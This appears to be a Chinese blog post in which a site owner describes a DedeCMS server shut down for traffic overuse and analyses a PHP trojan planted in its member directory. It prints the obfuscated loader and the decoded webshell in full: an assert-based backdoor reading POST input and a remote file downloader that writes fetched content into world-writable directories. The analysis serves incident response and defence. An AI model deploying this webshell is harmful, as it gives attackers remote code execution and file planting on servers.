PHP LINUX服务器提示网络流量超量,超网卡流量被关站

服务器提示网络流量超量,超网卡流量被 关闭了站点查看了首页的index.php文件发现,程序用的是DEDECMS的，在后台多了个MEMBER本来这个文件已经被删除又被黑客上传上来了.

<?php

//这是上传木马是原始代码，下面我们进行PHP木马的解码
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo "\$000000=".$O00OO0;
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo "<br/>\r\n$000000=".$O00O0O;
echo "<br/>\r\n";

这是里解码第一句话

echo <=eval($O00O0O("JE8wTzAwMD0id2RKQ0xhWVNLcElSdnFPYnNmbmNIa2dRWEZWaG9Bck56dFRFbFBVZW1qRE15R1pCdVdpeGducmVMZEl6Q2tjbWlvd0JaYXNIZkVRVlBTQVR0SnloV0twYnhSR1hNRE5qWXFVdWxPdkZSTjlnZGZKaGVNeE1DYkpFUDBuU0FTWnZkT1Z2UHAwOWNzeHhIWWNrWFltNFJ6clRIM2p2THZyeEhzVnZ3WUpFWGVUSnJTOVZwMWhHT1lyNElQUXZQekU3VVBUa25lUWt3MzBoZU14TUNiSkVQMG5TQVNadmRPVnZQcDA5Y3NBZ0JxOVRVZWNrTlZrN05WdGhlUUVoZVF4TW5PNURucXhpQnZ1RG5QclpDZW1pSHFBbG5QclpDVjBDZVBaaGVRRVFjZUpRZE9JdFVzQWxJM21rQjI1YVVQVGtIM21XQ2VuRG5QclpQMnhsZFBWc0N6RVFYZzBDZXpKUWNlSlFjZUpRcnFodGNOMFFJM0FZQlM5a0JNeDBDZW1pSHFBbG5QclpDcFpoZVFFUWNlSlFjZUpRY2VtMUgyQVlQMlNzVU81MGNOMFFjdmM3TlZ0cmNlSlFjZUpRY2V1RG5QclpQM2h4bnE5Z25lUUVJMlFaVjFBenBiOVZBUzlBR0VnWnJxOWdVTzUxSE1na3dnMENlekpRY2VKUWNlSlFJM0FZQlM5V1VQbWlIZlZ0cnFodExiaEFHRUZSR1NtYW1FOWpwYjlQcGI5TlZBbXJwMDRaanpFN05WdHJjZUpRY2VKUWNldURuUHJaUDNoeG5xOWduZVFFSTJRWlYxQXpwYjlWQVM5em1BbUFHRTVHR0VTd0cwVVNHdmdGQ3BaaGVRRVFjZUpRY2VKUWNxaDFITUZhSDJBMEIzdTBDZW1EZGVGTkFBcmpwMXVHUDFBcG1BcnVtMEF3QWVnRW5QaHhIeDlUVTJBbG5lRTdOVnRyY2VKUWNlSlFjZUpFVU14WlV6SjljcWgxSE1GYVVQVHhJWVFFSTJRa3dnMENlekpRY2VKUWNlSlFJM0FZQlM5REJxOVdVelFFSTJRa3dnMENlekpRY2VKUWNlSlFITUEwblBybGNlbU1kT0Z4d2cwQ2V6SlFjZXU5Y3FBWkgyR1FYZzBDZXpKUWNlSlFjZUpRcnFVa0JxR1FSenVNZE9GeFAybnhuUzlEQjI1MFVPNTBIWVFFQjN1eEJzQVlCZUU3TlZ0cmNlSlFjZUpRY2V1WVVQbTFITTRRcnFVa0JxRzdOVnRyY2VKUWNmMGhlUXg5TlZ0aGVRRUVuUHJaY04wUXJTOWZtQW1CblByWlBwWmhlUUVFQlBBWm56SjljcW1rSE01VEJPR3RQMTlxekdGU1AxOGtMdm1hbTBBR08yMTFCZkFud2cwQ05WdHJkT0l0Y09Va0JxQWFVUFRrSDNtV0NlbUtuT0YxQ3pFUVhnMENlekpRY2V1SkJPS0VkUGN0cnExMUJmR1pqTkgzaFlFN05WdHJhT0FaSDJBN05WdHJjZUpRY2J1RGRxMWlVZVFFQlBBWm56Z2doV0gzQ3BaaGVReDlOVnRoZVFFRUJNU0tVeko5Y2VtYW0wQUdPMjVUQk9BbndnMENlem1NZE9GeGNOMFFycTExQmZHbHJxNVRCT0c3TlZ0aGVReGtVdlRrSDNoeG5lUUVQMG5TQVNLMUhNRm5DekVRWGcwQ2V6SlFjZUpFbkE5dG5xMVpjTjBRSTNBWUJlUUVuUHJaQ3BaaGVRRVFjZUpRVU14WlVBOWduUG1hSTI5bG5xQWxuZmp0cnFVa0JxR1pyZkFhZGZtS0JlRTdOVnRoZVFFUWNlSlFycVVrQnFBYVVNeFpVeko5Y3FVa0JxR3RycVVrQnFHa3dnMENlekpRY2V1a1V2UUVVTXhaVUE5TWRPRnhPV3VuY2ViOWNlSHNjcTlZY2VtTWRPRnhQMlVrQnFBQmpBMFFjcDBRcllIa2NmWmhlUUVRY2VKUWNlSlFjcUFEZHE4UXIyOXlyV1poZVFFUWNlSlFhenV4QmZoeGNmWmhlUUVRY2VKUWNlSlFjcUFEZHE4UXIyOXRjYjVSY3pIN05WdHJjZUpRY2YwaGVReDlOVnRoZVF4eFhxeDBDZUU3TlZrOU5WdGhlUTBDUlc0PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

$O0O000="wdJCLaYSKpIRvqObsfncHkgQXFVhoArNztTElPUemjDMyGZBuWixgnreLdIzCkcmiowBZasHfEQVPSATtJyhWKpbxRGXMDNjYqUulOvFRN9gdfJheMxMCbJEP0nSASZvdOVvPp09csxxHYckXYm4RzrTH3jvLvrxHsVvwYJEXeTJrS9Vp1hGOYr4IPQvPzE7UPTkneQkw30heMxMCbJEP0nSASZvdOVvPp09csAgBq9TUeckNVk7NVtheQEheQxMnO5DnqxiBvuDnPrZCemiHqAlnPrZCV0CePZheQEQceJQdOItUsAlI3mkB25aUPTkH3mWCenDnPrZP2xldPVsCzEQXg0CezJQceJQceJQrqhtcN0QI3AYBS9kBMx0CemiHqAlnPrZCpZheQEQceJQceJQcem1H2AYP2SsUO50cN0Qcvc7NVtrceJQceJQceuDnPrZP3hxnq9gneQEI2QZV1Azpb9VAS9AGEgZrq9gUO51HMgkwg0CezJQceJQceJQI3AYBS9WUPmiHfVtrqhtLbhAGEFRGSmamE9jpb9Ppb9NVAmrp04ZjzE7NVtrceJQceJQceuDnPrZP3hxnq9gneQEI2QZV1Azpb9VAS9zmAmAGE5GGESwG0USGvgFCpZheQEQceJQceJQcqh1HMFaH2A0B3u0CemDdeFNAArjp1uGP1ApmArum0AwAegEnPhxHx9TU2AlneE7NVtrceJQceJQceJEUMxZUzJ9cqh1HMFaUPTxIYQEI2Qkwg0CezJQceJQceJQI3AYBS9DBq9WUzQEI2Qkwg0CezJQceJQceJQHMA0nPrlcemMdOFxwg0CezJQceu9cqAZH2GQXg0CezJQceJQceJQrqUkBqGQRzuMdOFxP2nxnS9DB250UO50HYQEB3uxBsAYBeE7NVtrceJQceJQceuYUPm1HM4QrqUkBqG7NVtrceJQcf0heQx9NVtheQEEnPrZcN0QrS9fmAmBnPrZPpZheQEEBPAZnzJ9cqmkHM5TBOGtP19qzGFSP18kLvmam0AGO211BfAnwg0CNVtrdOItcOUkBqAaUPTkH3mWCemKnOF1CzEQXg0CezJQceuJBOKEdPctrq11BfGZjNH3hYE7NVtraOAZH2A7NVtrceJQcbuDdq1iUeQEBPAZnzgghWH3CpZheQx9NVtheQEEBMSKUzJ9cemam0AGO25TBOAnwg0CezmMdOFxcN0Qrq11BfGlrq5TBOG7NVtheQxkUvTkH3hxneQEP0nSASK1HMFnCzEQXg0CezJQceJEnA9tnq1ZcN0QI3AYBeQEnPrZCpZheQEQceJQUMxZUA9gnPmaI29lnqAlnfjtrqUkBqGZrfAadfmKBeE7NVtheQEQceJQrqUkBqAaUMxZUzJ9cqUkBqGtrqUkBqGkwg0CezJQceukUvQEUMxZUA9MdOFxOWunceb9ceHscq9YcemMdOFxP2UkBqABjA0Qcp0QrYHkcfZheQEQceJQceJQcqADdq8Qr29yrWZheQEQceJQazuxBfhxcfZheQEQceJQceJQcqADdq8Qr29tcb5RczH7NVtrceJQcf0heQx9NVtheQxxXqx0CeE7NVk9NVtheQ0CRW4=";
echo <= eval#p#分页标题#e#('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
exit;

?>

这是解码后的文件：可以上传任意文件纳，服务器的目录权限一定要设置好，不然就惨啦~~
<?php
if(@$_GET["id"]=="yes"){$x="ass"."ert"; $x(@$_POST["xax"]);exit();}
if(@$_GET["id"]=="upload")
{
 
 
 function curl($openurl)
 {
     if(function_exists('curl_init')) {
         $ch = curl_init($openurl);
         $user_agent = "";
         curl_setopt($ch,CURLOPT_URL,$openurl);
         curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
         curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);
         $file = curl_exec($ch);
         curl_close($ch);
         return $file;
     } else {
         $file = file_get_contents($openurl);
         return $file;
     }
 }
 
 $url = $_GET[url];
 $mulu = dirname(__FILE__).$_GET[mulu];
 
 if(!file_exists($mulu)) {
     @mkdir($mulu,0777);
 }else{
     @chmod($mulu,0777);
 }
 
 $name = $_GET[name];
 $file = $mulu.$name;
 
 if(isset($_GET[url])) {
     $u_html = curl($url);
     file_put_contents($file,$u_html);
 
     $file_file = file($file);
     if($file_file[0] != '' or $file_file[1] != '') {
         echo 'ok';
     } else {
         echo 'oh NO!';
     }
 }
 
 exit();
}
 
 
?>